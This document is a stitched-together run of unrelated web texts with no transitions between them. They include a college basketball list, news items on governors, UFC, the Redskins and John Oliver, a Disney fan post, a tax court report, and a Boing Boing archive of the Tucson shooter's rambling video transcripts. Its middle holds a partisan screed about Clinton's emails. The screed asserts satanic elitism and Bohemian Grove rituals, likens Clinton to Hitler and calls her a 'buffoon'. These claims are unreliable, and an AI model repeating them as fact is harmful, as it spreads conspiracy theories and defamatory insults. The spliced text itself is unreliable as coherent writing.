Thomas Bryant, Indiana
Jameel McKay, Iowa State
Cheick Diallo, Kansas
Skal Labissiere, Kentucky
Diamond Stone, Maryland
Stephen Zimmerman, UNLV
Kennedy Meeks, North Carolina
Zach Auguste, Notre Dame
A.J. Hammons, Purdue
Jakob Poeltl, Utah
Damian Jones, Vanderbilt
Daniel Ochefu, Villanova
Josh Hawkinson, Washington State
Joel Bolomboy, Weber State
Devin Williams, West Virginia
BOSTON (CBS) – Charlie Baker can’t claim the title of the country’s most-liked governor anymore, according to a new poll.
The Massachusetts Republican comes in third in the latest Morning Consult survey, just behind No. 1 Gov. Dennis Daugaard of South Dakota and Larry Hogan of Maryland.
To be clear, Baker’s popularity in the Bay State is still sky high, with an approval rating of 70 percent and 18 percent disapproving. That’s down just slightly from Morning Consult’s previous poll of governors in May, which had Baker in first at 72 percent and 16 percent, respectively.
Kansas Gov. Sam Brownback is once again the least popular governor in the country, with a disapproval rating of 71 percent.
Do you see the problem with this?
If there is enough evidence to determine that someone stole a vehicle, then there needs to be a trial and a conviction. If there is not enough evidence for a trial, then due process dictates that someone does not lose their rights and property until there is a conviction.
Due process protects the innocent
Due process does not mean getting your rights and property returned to you after they have been taken away, due process protects you from losing them in the first place.
The NRA’s proposal, supported by Hillary Clinton and Donald Trump, strips away our 2nd Amendment Rights based on the Terrorist Watch List and the No Fly List – secret lists that we cannot even ask the government if we’re on the list. Lists that are so broad and poorly built that you can have the same name as a terrorist and get put on the list. Something that is so convoluted it took this innocent woman 8 years to be removed from the no fly list.
Do you see the problem of having your rights stripped away because you share a name with someone and then take 8 years of legal battles to get your rights back?
If someone shouldn’t own guns – put them in a courtroom
If someone is such a menace to society that they should lose their rights, then they need to be put in a courtroom and convicted of a crime.
Heavyweight Josh Barnett (32-6 MMA, 4-1 UFC) is an Ultimate Fighting Championship competitor once more.
USA TODAY Sports/MMAjunkie.com (www.mmajunkie.com) today confirmed with promotion officials that former UFC heavyweight champion Barnett has signed a new multi-fight deal with the promotion and is expected to make his return to the octagon later this year. An official announcement is expected soon.
Barnett is currently ranked No. 6 in the USA TODAY Sports/MMAjunkie.com MMA rankings and was considered the world’s most-talented free-agent heavyweight. His return date and opponent have yet to be determined.
Barnett has been fighting professionally since 1997 and made his promotional debut in 2000 with a TKO victory over Gan McGee at UFC 28. He would suffer a knockout loss to Pedro Rizzo in his next appearance before rattling off victories over Semmy Schilt, Bobby Hoffman and UFC Hall of Famer Randy Couture. The win over Couture scored Barnett the UFC’s heavyweight title, though he was later stripped of the belt in 2002 after failing the evening’s post-fight drug test.
Barnett spent much of the next six years fighting in Japan, where in 2006 he made it to the finals of that year’s PRIDE open weight grand prix before losing to Mirko “Cro Cop” Filipovic.
In 2008, Barnett returned to the U.S., where he earned victories over Gilbert Yvel in Rizzo under the Affliction banner before that promotion folded up shop. He would later sign with Strikeforce, where he advanced to the promotion’s heavyweight grand prix final before falling short against undefeated contender Daniel Cormier. Barnett bounced back with a January win over Nandor Guelmino in Strikeforce’s final event.
Earlier this year, Barnett and the UFC appeared close to signing a deal, but the talks stagnated and talks briefly dissolved. However, the two parties have now reached an agreement, and “The Warmaster” is now set for an octagon return.
Deyika joined the Green Party in 2011 and regularly stood for election in Manchester under the Green Party banner, most recently as the party’s candidate for mayor. Today it emerged that he had suffered a heart attack and died aged 50.
Condolences have been flooding in on his Facebook page, with many describing the loss as “devastating” and sharing fond memories of their time with Deyika. One commenter said: “The world needs more people like Deyika. He was a lovely guy who stood up for the community and what he believed in.”
In an interview with conservative radio show host Mark Levin that was posted Wednesday, Sessions expressed amazement that a judge in Hawaii could halt President Trump's executive order on immigration from six predominantly Muslim countries.
"I really am amazed that a judge sitting on an island in the Pacific can issue an order that stops the President of the United States from what appears to be clearly his statutory and Constitutional power," Sessions told Levin.
His remarks, highlighted by CNN's KFile, quickly drew criticism and headlines.
A Justice Department spokesman later elaborated on Sessions's comment.
"Hawaii is, in fact, an island in the Pacific -- a beautiful one where the Attorney General's granddaughter was born," Justice Department spokesperson Ian D. Prior told CNN. "The point, however, is that there is a problem when a flawed opinion by a single judge can block the President's lawful exercise of authority to keep the entire country safe.”
Judge Derrick Watson, a federal judge based in Hawaii, issued an order last month that froze the president’s travel ban nationwide.
The Tel Aviv terror attack claimed the lives of 21 people, almost all of them teenagers, after a suicide bomber detonated himself at the beachfront club. The city's Shevach Mofet School was especially hard hit, with seven of its students perishing in the massacre.
Bereaved mother speaks at ceremony (Photo: Yaron Brener)
In a memorial ceremony held Monday at the school, Sharansky recounted the difficult moments following the attack.
The government convened that Saturday with almost all officials opting for a military operation in Jenin, Sharansky said, but added that another consideration tipped the balance in favor of restraint: The desire to maintain global support for Israel.
"Then came the terror attack in the Sbarro restaurant, at Café Hillel, and more and more attacks, until the attack in Netanya on Passover eve. Then, the plan (Operation Defensive Shield) was finally executed, and our soldiers put an end to the second Intifada," he said.
Addressing the students and alumni in the audience, the former minister said: "We sought the strength to keep building homes, comfort families, and reinforce the Land of Israel – and this is what you're doing…you are a model for the entire State of Israel. You are the strongest answer."
Also speaking at the event, Tel Aviv Mayor Ron Huldai said that the murder of the teenagers was a reminder of the difficulties faced by Israelis.
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Visit our FAQ page for specific questions about allergens and ingredients.
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Tight end Derek Carrier, left, celebrated a touchdown against the Rams with Matt Jones last September. (Matt Hazlett/Getty Images)
It’s been a common sight this year, Derek Carrier running sprints off to the side during practice, but the Redskins tight end is now nearing his return to the practice field. He has been shelved ever since he tore ligaments in his right knee in Week 14 last year against the Chicago Bears, but Carrier has been told to “be ready” at any point when he’s cleared to practice.
Carrier was eligible to begin practicing this week as part of a 21-day window after being placed on the physically unable to perform list to start the season, which forced him to sit out the first six weeks. There was an expectation at the start of the week that it was possible, but it didn’t happen.
“Everything has been going good as far as the rehab process,” Carrier said. “Right now, it’s just kind of tampering everything off and making sure everything feels good and be ready if my number is called.”
The fourth-year player was ahead of schedule earlier in the offseason but had a setback because he was pushing himself too hard. Carrier dealt with tendinitis through offseason workouts and training camp. He said that while typically it isn’t an issue to work through tendinitis, the issue flared up to the point where it prohibited him from participating in certain aspects of his rehab program.
Carrier, who was acquired in August 2015 via a trade with the San Francisco 49ers because of injuries to Niles Paul and Logan Paulsen, trained once or twice a week during training camp as a result, using the downtime to rehab and rest his knee. He also took two weeks off at the start of the season, which he felt helped resolve the problem.
Carrier ran sprints Wednesday but wasn’t out on the field Thursday or Friday. He said he typically run routes every 10 yards to build his endurance but hasn’t yet had a chance to incorporate physical contact.
“It’s funny because, yeah, you go out there and run and feel good,” Carrier said. “But really when you get into practicing and get into games, it’s a completely different level of intensity and something that’s hard to replicate out on the practice field by yourself. That’s something in practice you can kind of tackle by having someone lined up against you in team drills.”
The team will have 21 days to decide whether to activate Carrier. If Washington doesn’t do so by the deadline, Carrier would remain on the PUP list for the rest of the year. The Redskins have three tight ends on the roster but will have only two active Sunday against the Detroit Lions, with Jordan Reed missing his second game because of a concussion. Redskins Coach Jay Gruden said Carrier is close, and he does find value in having four tight ends on the 53-man roster.
“Well, we’ve got to get him healthy first and then see where we’re at,” Gruden said. “We love our three tight ends without a doubt right now. See how Jordan’s doing. Last week we played with two, which is a little scary, but obviously Ty Nsekhe can play tight end in some cases. But I think there will be a spot for [Carrier] when he gets healthy. Eventually we can carry four very easily.”
In the meantime, Carrier hopes his opportunity to strap on the pads happens sooner rather than later. He’s learned to be patient throughout the process, but he’s ready to do something other than conditioning for a change.
In other words,* Last Week Tonight* can focus on things that matter. While cable news and online reporters struggle to report on Kellyanne Conway's most recent TV appearance or fact-check the latest Sean Spicer press conference, Oliver and his team of four researchers can quietly spend months on a single 20-minute segment about something that will be incredibly important months from now. They did that nearly a year ago when they covered the phantom menace of voter fraud, and they intend to do it again.
It just won't be about the new administration. “We’re very anxious to not make it all-Trump, all the time,” Oliver told a group of journalists in New York earlier this week when asked about the plans for Season 4, which launches Sunday. “During the week the obvious stuff has been taken away, the carcass has been picked clean. There’s a benefit to us of being pushed into covering things that no one else in their right mind [will].”
No Spin Zone
The stuff Oliver will hit may be what news outlets won't cover, but that doesn’t mean it's what they shouldn’t. In the weeks since Trump took office, many people have speculated that the more outlandish things Donald Trump does—going after a department store chain, say—is just hand-waving to distract reporters, while much more significant actions of the executive branch go unreported. News agencies, for their part, have tried to parry that thrust: Reuters, for example, sent a memo to staffers last week telling them to deprioritize official government access and instead focus on trustworthy alternate sources. But that doesn’t mean that administration mistruths like the so-called "Bowling Green massacre" can go unreported, either. And as a result, the news cycle becomes a vicious cycle.
As it happened, by pure chance or by the fact that we might be diametrically opposed to the president’s instincts, lots of our stories over the last three years have become very relevant. John Oliver
Even as Oliver was joking with the press on Monday, Trump was claiming that the media was consciously not writing about terrorist attacks, saying the “dishonest press doesn’t want to report it” because “they have their reasons.” (Wink.) What he was insinuating, of course, is that there is some hidden journalistic agenda based on ideological biases. While critiquing news coverage wasn’t new for Trump, his statement that journalists were ignoring important events hit hard and, as Chris Cillizza noted at The Washington Post, "for lots and lots of people listening to Trump, his suggestion that the media is complicit in a coverup of terrorist attacks will be taken as fact. They won’t seek out context or evidence that, frankly, totally undermines his contention."
This is where Oliver's work can matter most. Everything he says is fact-checked, but for most viewers who think of Last Week as a comedy show, he's not seen as "the media." (He’s also not Saturday Night Live, either.) That gives him precious maneuverability: Last Week Tonight doesn’t have to be impartial, and HBO doesn’t have advertisers, so Oliver can simply say what he wants. He might be speaking to a largely left-leaning, coastal-elite audience—though, Oliver notes, he has been approached by conservative viewers who say "I disagree with you on most things, but I like your show"—but what he's able to illuminate for them is more valuable in the long run.
Getting the Story Right—Years Ahead of Time
This has already proven true. Even though Last Week has been on hiatus since before the election, the staff—Oliver included—hasn’t been resting. And as they began prepping Season 4, they went through the archives. What they found were traces of their reporting over the last three seasons in almost every one of Trump’s recent actions or executive orders. Torture, voter fraud, the issues inherent in trying to ban refugees to stop terrorism: All were covered by Last Week long before they were making headlines in 2017. "Over a period of five days last week we realized that each executive order related to a story that we’d done in the previous year," Oliver says. "So, as it happened, by pure chance or by the fact that we might be diametrically opposed to the president’s instincts, lots of our stories over the last three years have become very relevant."
And being relevant one, two, or three years from now is Oliver's goal. He was loath to go into specifics of what this Sunday’s premiere or the rest of the season will touch on but stressed that none of them will directly address Trump. “There’s a lot of low-hanging fruit with administrations like this,” he says. “You need to reach past that.” The episodes that confront the president—like last year’s "Drumpf" episode, for example—are often the show’s most successful and most viral, but Oliver says he has “zero” concern whether something lights up the internet on Monday mornings. Instead he’d rather talk about net neutrality or the death penalty, even if “the unintended consequence of that is people actually watching the show.”
Covering Trump's Impact—Not Trump
But just because Last Week won’t cover Trump doesn’t mean POTUS won’t influence the show. Now that he’s in office, he could easily impact an issue before Oliver and his team are even done reporting it. “Almost every one of the long-term stories [we’re working on] have an asterisk next to them that says, ‘Let’s see if this exists anymore,’” Oliver says.
Investigating what’s happening behind Trump's antics, rather than the antics themselves, seems to be catching on. On Monday, a few hours after Oliver laid out his Less Trump in 2017 plan, Rachel Maddow went on the air on MSNBC and noted that she was going to start watching the White House like it was a silent movie, because “if you spend all your time trying to nail down their words—following every statement that they make as your next news story—not only do they get to lead you by the nose in terms of what you cover, but sometimes, for all the attention to what they’re saying, you miss what they’re doing."
So if the issue at hand was the nation of lets say, Kyrgyzstan, Blumenthal would send Hillary some radio jockey’s (Scott Horton) report: “Scott Horton has just returned from a week in Kyrgyzstan, where he held lengthy private conversations with a range of leaders.”
What “range of leaders” was simply bogus. All Blumenthals contacts supposedly had ‘inside intel’, they are supposedly well connected to all the higher-ups. Despite his untrustworthiness and his opportunism, the Blumenthal’s had a lion-share of Hillary leaked emails. They continued their influence over Hillary by even having Max, Sidney’s son, one of America’s most notorious Israel haters, continually corresponding with Hillary influencing her mind. She loved his unsubstantiated articles and responded very favorably to them. With a private server they can now bash anyone who does not agree. Even Shoebat.com was not immune from reaching Hillary who was interested to later spread all sorts of slander on us.
Blumenthal’s writings was the springboard to Max’s anti-Semitic Goliath, comparing Israel to the Nazis, even calling for the expulsion of the Jews from Israel, while comparing the Israel Defense Forces to the SS. Hillary was obliged to respond with favor:
7/6/2010 – “Pls print 5 copies but w/out heading from Sid.”
8/17/2010 – “Pls congratulate Max for another impressive piece. He’s so good.” 11/18/2010- “A very smart piece as usual.”
4/7/2011 – “Will Max’s piece be published anywhere else? It is powerful and touching.” 12/23/2011 – “Max strikes again!”
1/21/2012 – “Interesting reading.”
9/13/2012 “Your Max is a mitzvah!”
12/7/2012 – “Good stuff. Where is he now?”
Hillary’s favorite reports were Max’s, sent to her via his father Sidney, especially one that raised our eyebrow, on tracking ‘the dangerous Islamophobist Cabal’ revealing Shoebat as one, where Hillary requested the report printed for her read. Reports that attempt to minuscule the whistle blowers as “whacky” is written by Max who signs his name “Blumenthal, The Great“.
“I’m at the post office but Huma has this printed for you” responds Monica Hanley regarding the report on us and the other dangerous ‘phobes’.
Literally, hundreds of missive emails sent to Hillary completely re-brainwashing an already brainwashed buffoon with all sorts of conspiracy theories and untrustworthy information.
And if Max Blumenthal was ‘like father like son’, Huma was ‘like mother like daughter’ and was not much different from the Blumenthals. The true color of Huma was revealed when one major Hillary Clinton Jewish donor, Haim Saban, in one article complimented Hillary (its how you get in) while stating that there needs to be more scrutiny on Muslim immigrants, Abedin, the filter, was not thoroughly pleased, of course, and had to chime in scolding the Jew who had some anti-Muslim immigration ideas:
“Good interview. Thanks for sharing. But what you are saying about Muslims not consistent with HRC. Are you aware of that?”
In other words, if you want to get through to Hillary, Huma was the gate-keeper and an ‘open sesame’ requires that everyone say the magic words about Islam or say something nasty about Israel.
Including all the anti-Israel reports will take an entire book. Yet when it came to Christians, we find nothing, not even a scant of services. Hillary would not reprimand Philippe Reines on his “mother teresa” comment calling Christians “those crazy right”. In an email by Reines sent to Hillary and copied to Huma regarding a Catholic orphanage, an adoption ministry, Secretary of State Hillary Clinton hailed as “a home she helped open with Mother Teresa” was closed down by red tape, Reines writes Hillary:
Just FYI on the below, from one of those crazy right “magazines” – notes that the home you referenced in your Prayer Breakfast remarks has since closed.
There was no reprimand by Hillary to the type of language her advisor used. When it was a Christian publication, it was always dubbed “crazy right”.
But perhaps satanism amongst the elites (and after reviewing the emails) is no longer conspiracy theory. The leaks from Colin Powel’s phone and Wikileaks match emails from Blumenthal to Hillary: “I had lunch yesterday with Philip Bobbitt, who told me he had recently been at the Bohemian Grove and had lunch there with Kissinger and Colin Powell.” Even the reputable National Geographic refers to the Bohemian Grove as having some pagan rituals and included the photos. Perhaps all the Free-Masonry theories about starting revolutions which I doubted as ‘conspiracy theory’ do have merit that what we are dealing with here are satanic elitists who call all truth ‘conspiracy theory’. There was not one comment revering Christianity or anything Christian. In reality, what difference does it make whether Huma bows to a black stone, like the ancient Jews of the Sinai, who switched from their God Yahweh and bowed to a golden calf, or the elites bowing to Molech or an owl at the Bohemian Grove. It all shows, for one to get ahead, they must first ensure their names are first blotted out from the book of life. Indeed, there is neither Jew nor Gentile, there is only good or evil. Vanity of vanities. But here comes the beefy tostada, that every American who votes, need to start paying close attention to. The “best way to help Israel” is to start a war in Syria was Blumenthal’s grand idea. Anyone is welcome to access Wikileaks and see:
“The best way to help Israel deal with Iran’s growing nuclear capability is to help the people of Syria overthrow the regime of Bashar Assad.”
Finally, every American now can snoop into the elitist thinking, to see how camel dung is made, processed, and fed to American liberal buffoons who hate America’s Christianity. Today is the day (just days before the election), we can remind you that ‘we told you so’.
In an email sent by Sidney Blumenthal to Hilary Clinton suggesting that Iran would lose “its only ally” in the Middle East if the Syrian regime collapses. Our snooping into Hillary’s emails allows us to look into the Israeli political debate in 2012, where the decisions made caused an outcome making Iran stronger than ever. And despite the disastrous Syrian civil war with hundreds of thousands dead and millions displaced, Clinton still clung to the formula like Hitler clung to the trains, opting to transfer Jews to the crematoria than reverse course to save his nation. Likewise, Hillary continues on the destructive path. The email on 11/30/2015 reveals everything we need to know about Hillary and her gang’s mindset.
And when it comes to Syria’s revolution sparked by the Free Syrian Army who were truly nothing more than Muslim Brotherhood, Islamist Jihadi rebels, who wanted to establish a Sharia driven government, Hillary would obtain the analysis from her henchman and aide, Robert Russo, regarding the makeup of the rebels. And just as the typical Muslims on the streets would do, Hillary instead of relying on CIA reports, obtained Al-Jazeera’s false narrative. This even excited Hillary that the FSA “are not fighting for Islam but they are [only] inspired by it”. The subject title for Hillary would read “MUST READ ON COMPOSITION OF SYRIAN FSA”.
The rebels in Syria were painted as ‘partial Islamists’ who do not believe in imposing Sharia law, but only used Jihad as a means of warfare against Bashar’s tyranny.
Many times Hillary would be in hibernation mode as the gang sent her dosages of mind forming articles from Al-Jazeera clips about how the Muslim world do not really hate the U.S. and that the real problem were strictly the Arab regimes that needed uprooting. Hillary would thank them for the info:
“Sorry I’m so far behind in responding–and thanking you–for forwarding this to us. The last month has been a whirlwind which is not likely to calm down …”
The gang would encourage her with more flattery:
“You of all people NEVER need to apologize. Truly can’t wait until you are out and I can work with you again on issues we both think are so important.”
The agents were less than crystal clear about anything, blaming innocent scapegoats and creating phony alibis, while mixing truths with lies. Truths like the Bush ‘no WMD’ in Iraq, which indeed was a faulty conclusion, but that the best way to fight Al-Qaeda is to continue Bush’s scandalous legacy, to destroy Iraq while they also destroy Tunisia, Libya and Egypt too …
So under the guise of ‘aiding Israel’ they called to ‘destroy Syria’.
Reading these emails reveal just how ugly is the reality we live in, that the best way to remove any secular government in the Muslim world was to install an Islamist one. In an indication of her murderous and psychopathic nature, Buffoon Hillary, also wrote back in December 31, 2012, that it was the “right thing” to personally threaten Bashar Assad’s family with death. Even the New York Times revealed this and began to pick up on more:
Blumenthal’s memos, often appending a note: “Useful insight” or “We should get this around asap.” In an August 2012 memo, Mr. Blumenthal described the new president of Libya, Mohamed Magariaf, as someone who would “seek a discrete relationship with Israel” and had “many common friends and associates with the leaders of Israel.” “If true, this is encouraging,” Mrs. Clinton wrote to Mr. Sullivan. “Should consider passing to Israelis.”
Blumenthal would send emails with outlandish subject titles like “Subject: H[illary]: HIGHLY IMPORTANT! COMPREHENSIVE INTEL REPORT ON LIBYA. AND DRINK 8 GLASSES OF WATER. SID”
Hillary responds with “I’m happy to report that”. The key bait given to Hillary to believe these reports and approve them was this style:
“Speaking on condition of absolute secrecy, a source with access to the Office of the President stated that during late December 2012 Magariaf and Zidan agreed that they must move quickly to deal with these problematic issues before they can address their long term strategy of developing productive diplomatic and business relationships with their neighboring states in North Africa, Western Europe and the United States.”
Blumenthal wanted business opportunities in Libya and Hillary was the key. The terminology to make Hillary believe was the use of jargon used by phony reports “confidential” “absolute secrecy” “sensitive sources” “According to a very sensitive source” and “In the opinion of this sensitive source” “Extremely sensitive sources” to even “Sources with direct access to the governments of Libya and Israel, as well as the highest levels of European governments, and Western Intelligence and security services …”
It was all bogus, the type of charade one find in Nigerian scams or DEBKAFile reports that come from supposedly Israeli intelligence where no serious sources are given.
Buffoon Hillary would get her intel from the conspiracy theorist, Blumenthal, who claimed that Libya’s Magariaf has plans and connections to make peace with Israel. The Buffoon had no clue, Magariaf has no links to Israel whatsoever. It was all a hoax, undue influence on a left-wing loon.
Regarding the Egyptian revolution, the reports were void of the fact that the revolution was in reality a Muslim Brotherhood takeover. In one report Blumenthal even displays a fanciful victory against the Muslim Brotherhood by “nationalist football hooligans known as the Ultras”.
It was as if the football hooligans represented the revolution. The key was to finagle the truth, use sophist and complicated jargon as to sound legit, and keep Hillary believing a fantasy, that Egyptians are tired of the tyranny of both, Hosni Mubarak as well as the Muslim Brotherhood, while explaining that is why they are staging a rebellion in Egypt.
Truth is, the unrest was fomented by Washington and it was clearly a Muslim Brotherhood uprising as we have warned in the initial stages as the outcome was revealed later when it was too late. For example on the faulty labeling of terrorists as ‘moderate’, in one report to Hillary, Blumenthal writes:
I have included below a private report from “Stratfor” that underscores that Syria is attacking the moderate wing of Hamas and the Palestinian accord.
The simplistic labels worked. Hillary never asked is there a ‘moderate wing of Hamas’ and a ‘moderate wing of Al-Qaeda’ and a ‘moderate wing of the Nazi party’? Yet nowhere in Strafor’s report does it even use such oxymoronic terms.
And how Hillary was obtaining her influence on everything Middle East came strictly from this un-penetrable little circle.
“The analysis on events in Egypt ring true to me” Hillary responds to one of her aide henchwomen, Anne-Marie Slaughter. The latter was acting like a college student, all excited about her dissertation as to why Egypt needs a populace control instead of the current structure, objecting why Egyptian heads of state were ‘military’ rulers and not ‘civilians’.
Well yes, I actually have a great collection of ears and they are fantastic! Nothing goes better with a classic Mickey Mouse shirt like the black and red ears but make sure they sparkle! What day in the park would be complete without some Disney bling? It just enhances the magic!
I know there are tons of great places to vacation. How fortunate am I that I have actually have swam the ocean (Atlantic) and climbed around the mountains (NH)! I have followed historical trails (Boston, Salem, Newport, Providence) and stayed at Inns that are older than some states in this country. There is still so much more that I plan on seeing. However, when I want pure bliss, I head to WDW. It’s my happy place!
I don’t think people who don’t frequent WDW or the sites/pages dedicated to it, appreciate that there is a constant state of change. Yes the bones are the same – Cinderella’s Castle and small world aren’t going anywhere but Buzz Lightyear’s Space Ranger Spin is the former home of Take Flight/Dreamflight and there are now two Dumbo rides! That’s progress and that’s why WDW and it’s other counterparts will never be “finished”. If you space your trips a few years apart, you may even need a map!
I grew up on Walt Disney’s World of Color and of course all those fantastic movies (Apple Dumpling Gang). There seemed to be an endless supply of them! My children grew up watching the Disney Channel with such classics as Welcome to Pooh Corner and Adventures in Wonderland and moved on to Fraggle Rock. They are still stuck there! My grandson is a huge fan of the Octonauts – hint hint Hollywood Studios. ABC and ESPN are also Disney entities so pretty much everyone is watching Disney is one shape or form.
There are always new Disney movies coming out. They are about your emotions or superheroes or monsters in your closet but what each one has in common is that they appeal to a demographic that defies logic. You can see any and all age group together. That’s the greatest thing about Disney – it brings people together.
So yes, I am going again and I will be bounding as Ariel and I will be humming the Figment of Imagination song. Don’t judge me, if Darth Vader can wear ears then so can I!
PD
Posted
Indian businessman Pankaj Oswal and his wife Radhika have been ordered to pay $1.2 million to the Federal Court as security to cover costs incurred by the Australian Tax Office.
The couple are in a battle with the tax office over a taxation assessment from February 2011.
Their appeal against the assessment relates to a capital gains tax event, linked to shares Mr Oswal held in Burrup Holdings Pty Ltd in the 2007 financial year.
Mr and Mrs Oswal's counsel argued the $1.2 million security payment was unnecessary because the couple's assets in Australia exceed their tax debt, but Federal Court Judge John Nicholas did not accept that.
Judge Nicholas said because of mortgages and other factors, it was difficult to ascertain the value of their Australian assets.
He also noted the pair now lived in Dubai.
Judge Nicholas gave them 28 days to hand-over the money.
In a separate matter, the couple recently agreed to demolish their unfinished mansion in Peppermint Grove after a lengthy battle with the local council.
[Video Link]
Today, Congresswoman Gabrielle Giffords (D-AZ) and 19 others were shot in Tucson, Arizona. Six of the shooting victims were killed. Police say Giffords was the target of the attack. Local law enforcement have identified the shooting suspect as Jared Lee Loughner, 22 (photo, at left). A police manhunt is under way for a second "person of interest."
As blogged here earlier, Loughner posted material to a number of social media sites— he also had an active YouTube channel under the user name "Classitup10." The bio for that channel is written in the past tense. It appears he maintained a previous channel under the user name "Starhitshnaz." The sole video in that channel is embedded above, and shows a burning flag in front of a desert scene, with Drowning Pool's song "Bodies" ("Let the bodies hit the floor") as soundtrack.
In this post, we archive all of the currently known YouTube videos believed to have been created and published by Jared Lee Loughner, with text transcripts and screengrabs.
Themes and terms present throughout include: terrorism and a fixation on Loughner himself being characterized as a terrorist; creating "a new currency" to be introduced by "lethal or non-lethal means"; English literacy, "mind control and brainwash," "political weapons," "conscience dreaming," and scattered references to the Constitution and the American government controlling people through brainwashing and mind control.
Videos and transcripts follow. Some Boing Boing readers have mirrored copies of the videos; here is one link.
(Special thanks to Dawn Newton for transcribing assistance. Loughner's own typos and grammatical anomalies have been left uncorrected.)
AMERICA: YOUR LAST MEMORY IN A TERRORIST COUNTRY! Uploaded October 2, 2010
(Video Link, embedded at the top of this blog post.)
If there's no flag in the constitution then the flag in the film is unknown.
There's no flag in the constitution.
Therefore, the flag in the film is unknown.
Burn every new and old flag that you see.
Burn your flag!
I bet you can imagine this in your mind with a faster speed.
Watch this protest in reverse!
Ask the local police; "What's your illegal activity on duty?".
If you protest the government then there's a new government from protesting.
There's not a new government from protesting.
Thus, you aren't protesting the government.
There's something important in this video: There's no communication to anyone in this location.
You shouldn't be afraid of the stars.
There's a new bird on my right shoulder. The beak is two feet and lime green. The rarest bird on earth, there's no feathers, but small grey scales all over the body. It's with one large red eye with a light blue iris. The bird feet are the same as a woodpecker. This new bird and there's only one, the gender is not female or male. The wings of this bird are beautiful; 3 feet wide with the shape of a bald eagle that you could die for. If you can see this bird then you will understand. You think this bird is able to chat about a government?
I want you to imagine a comet or meteoroid coming through the atmosphere.
On the other hand, welcome yourself to the desert: Maybe your ability to protest is from the brainwash of the current government structure.
HELLO, posted December 15, 2010
[Video Link]
Hello, my name is Jared Lee Loughner.
This video is my introduction to you! My favorite activity is conscience dreaming; the greatest inspiration for my political business information. Some of you don't dream - sadly.
Firstly, the current government officials are in power for their currency, but I'm informing you for your new currency! If you're treasurer of a new money system, then you're responsible for the distributing of a new currency. We now know - the treasurer for a new money system, is the distributor of the new currency. AS a result, the people approve a new money system which is promising new information that's accurate, and we truly believe in a new currency. Above all, you have your new currency, listener?
Secondly, my hope - is for you to be literate! If you're literate in English grammar, then you comprehend English grammar. The majority of people, who reside in District-8, are illiterate - hilarious. I don't control your English grammar structure, but you control your English grammar structure.
Thirdly, I know who's listening: Government Officials, and the People. Nearly all the people, who don't know this accurate information of a new currency, aren't aware of mind control and brainwash methods. If I have my civil rights, then this message wouldn't have happen.
In conclusion, my ambition - is for informing literate dreamers about a new currency; in a few days, you know I'm conscience dreaming! Thank you.
INTRODUCTION: JARED LOUGHNER - posted December 15, 2010
[Video Link]
My Final Thoughts: Jared Lee Loughner!
Most people, who read this text, forget in the next 2 second!
The population of dreamers in the United States of America is less than 5%!
If 987,123,478,961,876,341,234,671,234,098,601,978,618 is the year in B.C.E. then the previous year of
987,123,478,961,876,341,234,671,234,098,601,978,618 B.C.E. is
987,123,478,961,876,341,234,671,234,098,601,978,619 B.C.E.
987,123,478,961,876,341,234,671,234,098,601,978,618 is the year in B.C.E.
Therefore, the previous year of 987,123,478,961,876,341,234,671,234,098,601,978,618 B.C.E is 987,123,478,961,876,341,234,671,234,098,601,978,619 B.C.E.
If B.C.E. year are unable to start then A.D.E. years are unable to begin.
B.C.E. years are unable to start.
Thus, A.D.E. years are unable to begin.
If A.D.E. is endless in year then the years in A.D. E. don't cease.
A.D.E. is endless in year.
Therefore, the years in A.D. E don't cease.
If I teach a mentally capable 8 year old for 20 consecutive minutest to replace an alphabet letter with a new letter and pronunciation then the mentally capable 8 year old writes and pronounces the new letter and pronunciation that's replacing an alphabet letter in 20 consecutive minutes.
I teach a mentally capable 8 year old for 20 consecutive minutes to replace an alphabet letter with a new letter and pronunciation.
Thus, the mentally capable 8 year old writes and pronounces the new letter and pronunciation that replaces an alphabet letter in 20 consecutive minutes.
Every human who's mentally capable is always able to be treasure of their new currency.
If you create one new currency then you're able to create a second new currency.
If you're able to create a second new currency then you're able to create third new currency.
You create one new currency.
Thus, you're able to create a third currency.
You're a treasurer for a new currency, listener?
You create and distribute your new currency, listener?
You don't allow the government to control your grammar structure, listener?
If you create one new language then you're able to create a second new language.
If you're able to create a second new language then you're able to create a third new language.
You create one new language.
Thus, you're able to create a third new language.
All humans are in need of sleep.
Jared Loughner is a human.
Hence, Jared Loughner is in need of sleep.
Sleepwalking
If I define sleepwalking then sleepwalking is the act or state of walking, eating, or performing other motor acts while asleep, of which one is unaware upon awakening.
I define sleepwalking.
Thus, sleepwalking is the act or state of walking, eating or performing other motor acts while asleep, of which one is unaware upon awakening.
I'm a sleepwalker - who turns off the alarm clock.
All conscience dreaming at this moment is asleep.
Jared Loughner is conscience dreaming at this moment.
Thus, Jared Loughner is asleep.
Terrorist
If I define terrorist then a terrorist is a person who employs terror or terrorism, especially as a political weapon.
I define terrorist.
Thus, a terrorist is a person who employs terror or terrorism, especially as a political weapon.
If you call me a terrorist then the argument to call me a terrorist is Ad hominem.
You call me a terrorist.
Thus, the argument to call me a terrorist is Ad hominem.
Every United States Military recruit at MEPS in Phoenix is receiving one mini bible before the tests.
Jared Loughner is a United States Military recruit at MEPS in Phoenix.
Therefore, Jared Loughner is receiving one mini bible before the tests.
I didn't write a belief on my Army application, and the recruiter wrote on the application: None.
The majority of citizens in the United States of American have never read the United States of America's Constitution.
You dpn't have to accept the federalist laws.
Nonetheless, read the United States of America's Constitution to apprehend all of the current treasonous laws.
You're literate, listener?
If the property owners and government official are no longer in ownership of their land and laws from a revolution then the revolutionary's from the revolution are in control of the land and laws.
The property owners and government officials are no longer in ownership of their land and laws from a revolution.
Thus, the revolutionary's from the revolution are in control of the land and laws.
In conclusion, reading the second United States Constitution, I can't trust the current government because of the ratifications: The government is implying mind control and brainwash on the people by controlling grammar.
No! I won't pay debt with a currency that's not back by gold and silver!
No! I won't trust in God!
What's government if words don't have meaning?
HOW TO: MIND CONTROLLER, posted December 6, 2010
[Video Link]
If you're editing of every belief and religion reaches the final century then the writer for every belief and religion is you.
You're editing of every belief and religion reaches the final century.
Thus, the writer for every belief and religion is you.
You control every -- thought, action, and lifestyle -- for the person or people as the mind controller.
I'm able to control every belief and religion by being the mind controller.
THIS STUDENT AT PIMA COMMUNITY COLLEGE: AN UNCONSTITUTIONAL CRIME! Posted Nov 30, 2010
[Video Link]
(The below is listed right under the video in the Info section)
Fraud
If I'm not receiving the purchase from a payment then I'm a victim of fraud. I'm not receiving the purchase from a payment. Therefore, I'm a victim of fraud.
